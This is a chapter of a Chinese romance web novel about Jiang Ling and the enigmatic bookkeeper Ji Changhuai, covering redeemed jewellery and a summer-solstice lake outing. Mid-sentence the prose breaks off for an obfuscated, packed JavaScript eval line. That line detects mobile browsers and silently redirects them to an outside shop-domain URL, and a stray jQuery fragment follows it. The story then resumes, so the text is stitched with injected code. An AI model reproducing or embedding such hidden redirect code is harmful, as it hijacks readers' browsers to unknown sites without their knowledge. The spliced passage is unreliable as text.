“你、怎么怎么怎么会……?”
姜凌看着计长淮塞到他怀里的,还有那堆她当出去的首饰顿时傻在了原地。
“按律取得,合法途径。”计长淮笑了笑,说的十分轻松。
“不是,就是你,你怎么会……?”
有这么多钱?
毕竟这笔钱连她都凑了很久,但是又不好问出口。
“哪来这么多钱?”计长淮靠在桌子上看着他笑着说。
“嗯……”
毕竟看计长淮这个收费不太像是能挣大钱的样子,不管是活多还是活少,所有的商铺都是一样的价格。
就算把他的铺子卖了,都赎不回她的这些首饰。
计长淮想了想,“杀人越货,放火抢劫。”
姜凌:“……”
“毕竟我也是一个黑心账房先生。”
真是信了他的鬼话。
在计长淮嘴里就别想听见一句实话,毕竟这人在城中待了这么些年,没人能探出他是从哪儿来的。
一会儿打东边儿来的,一会儿打南边来的,甚至还有漂洋过海过来的。
但他钱怎么来的倒也不重要,姜凌觉得计长淮不像是他嘴里说的那种人。
想着凭他的本事挣钱应当也是不难,许是只是没让人发现罢了。
“那、那这一共多少钱?我再凑几日大概就够了。”
姜凌回过神来,但感觉心中狂跳的心脏一直不能平息下来,像是揣了个雀跃的小兔子一样。
计长淮想了想,姜凌这堆首饰像是要把他的棺材本儿都花进去了一样,但也还好他本是不需要这么多财物的。
“不必还了,让关老爷一直过照顾我的生意就行了。”
姜凌一时噎住,她看了一眼计长回来的铺子里没什么装饰,非常简朴,看着像是有些清贫的样子,但也是什么都不缺。
做账房的嘛,总归是有些一丝一毫都要用在刀刃上的感觉。
但没想到今天这么大方,让她难免会有些多想。
“那……那先生是不是……”
姜凌脸颊飘起了两朵红云,不禁想到了别处。
“嗯?什么?”计长淮看到了姜凌这有些局促害羞的样子。
嗯,像是想到了那个地方。
“想到哪去了?”计长淮卷了一本账簿,轻轻地敲在了姜凌的头上,“关家与我有恩情,报恩罢了。”
计长淮这次认真的想了个借口。
但姜凌此刻心中的兔子跳了一半儿就戛然而止。
啊,是因为外祖父母的恩情……
姜凌捧这红木匣的沉重,总觉得这点这钱得赶紧凑了还给他。
但她想了想还是问了外祖父,“外祖父,您同计先生有过恩情?”
“计先生?”外祖父见姜凌提起了这个解释,想了一阵,“啊,那应该是他来的那年差点要被抓去坐牢,是我保的他出来。”
“哦。”
还真是。
那这是不小的恩情,但这是外祖父的恩情,又不是她的,这钱还得还。
但姜凌有些小小的失落,原来只是报恩罢了。
过了几日她凑够了。前把一袋子钱退到了计长淮面前。
“这么快?”计长淮抬眼问她。
“卖了几个生意不太好的铺子罢了。”
计长淮没动那个钱袋,也没打算收,一笔一画的写着账簿。
“倒也不必这么急。”
姜凌盯着计长淮长写下的账簿,这次好像又少了一钱银子。
这应当又是那个奇怪的雇主吧。
“先生知道了?”姜凌见计长淮那个从容的样子,心中有一个直觉,但总觉得不太可能。
“嗯?”
姜凌一时不知道该从哪里说起。
“你的货被截了的事?”计长淮眼中带笑。
“果然还是知道了呀……”姜凌耷拉下脑袋。
知道她的货被截了,所以拿不出钱财才去当了首饰,然后又周转不开赎不出来,才帮着她吧。
“那那批货……”姜凌又试探一句。
她总觉得那些贼人没那么好心,会把她的货送回来,但是又想不到这城中有谁做好事不留名。
只是心中莫名的直觉指向了计长淮。
“你觉得我有那种能耐?”计长淮反问。
“……”姜凌沉默了。
觉得好像有,但又没有。
他看着计长淮,这个人感觉很奇怪,像是十分从容,永远不紧不慢的过着日子,但是又让人看不透。
按照他的年岁和他身上的品行气质,容貌学问,总觉得和这宿州城格格不入。
像是活在这城中又离所有事物都很远的样子,从不与人产生过多的瓜葛。
不过姜凌恍然间反应过来。
不对。
“先生怎知,我问的是货物被送回来的事情?”
计长淮笔下一顿,鼻息间轻笑一声,“去送账的时候偶尔听见的。”
姜凌“哦”了一声,打消了心中的犹疑,想着硬是得管着点铺子里的人的口风了,可不能瞎说些什么。
这事过了几日,她也就没放在心上了。
到了夏至那天,宿州城有个习俗,那天晚间都愿意去湖边放个河灯,或者男男女女结伴游湖。
她又拉上了好友何夕,坐在对面茶楼闲聊。
“你找见人有游湖了吗?”何夕靠在窗旁。
“没呢。”姜凌撑着脸看向楼下。
“羡慕啊,我娘非要让我跟金铺家的儿子去游湖,不去就跟我来一哭二闹那一套,烦死了。”何夕愁眉苦脸的样子,想着今晚的对策。
“你不是跟金铺家的儿子是青梅竹马吗?”姜凌笑了笑。
何夕顿时红了脸,“谁、谁说的呀!”
姜凌见她这口是心非的样子,颇为好玩儿,又逗了他两句,“哎,那是不是你青梅竹马?”
何夕见她往窗外指了指,还不信,姜凌又推了两下,说“真的真的你看”,她这才看到过去。
只见那金铺家的儿子抬脸看见了两人,冲她挥了挥手。
“这么早!”何夕一下就弹起来,连忙拉着姜凌问自己头上的首饰头面有没有歪的,这一套搭看起来怎么样?
姜凌笑着安慰她,“我们何姑娘最好看了,必定把她那青梅竹马迷的晕晕绕绕的。”
何夕笑着骂她,见金铺家的儿子都上了楼,赶紧起身去迎,不能让姜凌抓住机会在面前调笑她。
姜凌其实是有些羡慕的,何夕能这么简单普通的定下婚事。
临走前还不忘嘱咐一句,“哦,对,你想要约计先生,就赶紧去约,免得他早就被人约走了。”
姜凌才想起来,不禁“呀”了一声。
虽说计长淮在宿州城不好谈亲事,但那只是长辈看不惯,不妨碍姑娘们热衷于约他出门。
其中有几分真心那就不知道了。
别人是不是真心姜凌不知道,但她必定是真心的。
她都想好了借口,就是借口还步瑶的情分,再加上一个怕游湖的时候落水没人救她。
姜凌自然是觉得自己这个借口十分完美,又无法拒绝,就等着找计长淮开口了。
她等着计长淮的客人走的差不多了,下楼准备去问的。
只是今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387481|141113||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
日计长淮铺子里的客人,她好像没太见过,她在铺子外面小心翼翼的探头看了一眼。
那个男人皮肤黝黑,脸上还有着刀刀疤,样子有些吓人,她只敢老老实实的等在外面。
她在对面的铺子转了很久,才等着那人离开。
但是她刚要提步过去,就在铺子里进了三四个姑娘,像是结伴而行。
姜凌皱了皱眉头,眯着眼睛走过去。
“……先生可有约了?”
“不如同我们一起吧,孙姑娘家的油船今日会在湖上开上一圈,这是别处看不到的风景呢。”
姜凌远远就听见那群姑娘的叽叽喳喳,邀请着计长淮,心中不免有些火大。
照理说这是谁都能邀请她不该觉得生气的,但是这火就是无名之中升了上来,但是又压不下去。
那位姑娘们围着的计长淮好像向外看了一眼,姜凌立刻躲到门口的廊柱旁边。
他焦急地等待着计长淮怎么回答,这是去是不去呢?
计长淮盯着空无一人的门口笑了笑,那群姑娘还好奇,计先生盯着的门口也什么都没有,笑什么呢?
但只见计长淮缓缓说道:
“其实在下怕水,从不靠近江河湖海半步。”
“恕不能奉陪。”
那些姑娘唉声叹气的,一人再三问计长淮真的不能去吗?
计长淮斩钉截铁的回绝了她们。
姜凌蹲在廊柱旁边,耳朵尽力贴向门口计长淮的一字一句都听得真真切切的,这才放下心来。
啊,原来怕水,那她们是肯定约不出去了。
想来好像真的是这样,那些靠近湖边和河边的商铺没见计长淮去送过账本,或是托人,或是让店里的人过来取。
但转而一想,不对,怕水!
那她怎么约出去呢?
姜凌又撤得稍远了一些,见那群姑娘们从铺子里离开,见走远了才又缓缓的蹭到了店门口。
她正犹豫着要不要进去,那来计长淮可能也是会拒绝她的,要不还是算了吧。
“等人?”
忽然一个声音钻进她的耳边。
她抬眼看了过去,计长淮已经开始收拾起东西,准备关门了。
计长淮素来穿着深色的衣服,勾勒出挺拔的身形,即使是简单的装饰,也让他穿出不同的气度。
她偶尔会想,为什么会喜欢计长淮呢?应当也不是说单纯因为样貌。
虽然她最初确实是因为样貌。
现在她已经不知道是因为什么了。
“没。”姜凌缓缓摇头,她原本想的好好的借口,现在已经用不上了,正想着如何借口离开。
“那是挺不巧的。”计长淮笑了笑,“我在等人。”
“等谁?”姜凌下意识地问。
但她忽然反应过来,原来是已经有约了,姜凌心中一沉。
像是一脚踩空没有归处。
姜凌扬着脸看着他,今日她特意挑了一套海蓝宝石的头面,配上了月白色的长裙,在夏日中看起来十分的清秀。
只可惜这套装束想必是白费了,只是计长淮能答应谁呢?
没到片刻,姜凌已经把全城的姑娘从上到八十还能走,下到八岁打酱油都猜了一遍。
许家大娘子?还是赵家三姑娘?
但计长淮眼中映着的全是这个有些不安的姑娘,盛装打扮只是神情中带了些落寞,似乎自己已经猜了一套答案出来。
他想着自己若是再不答的话,恐怕在他眼里自己是要情人遍地了。
计长淮笑了笑说:
“我怕水,等一个游湖的时要是掉下去能救我上来的人。”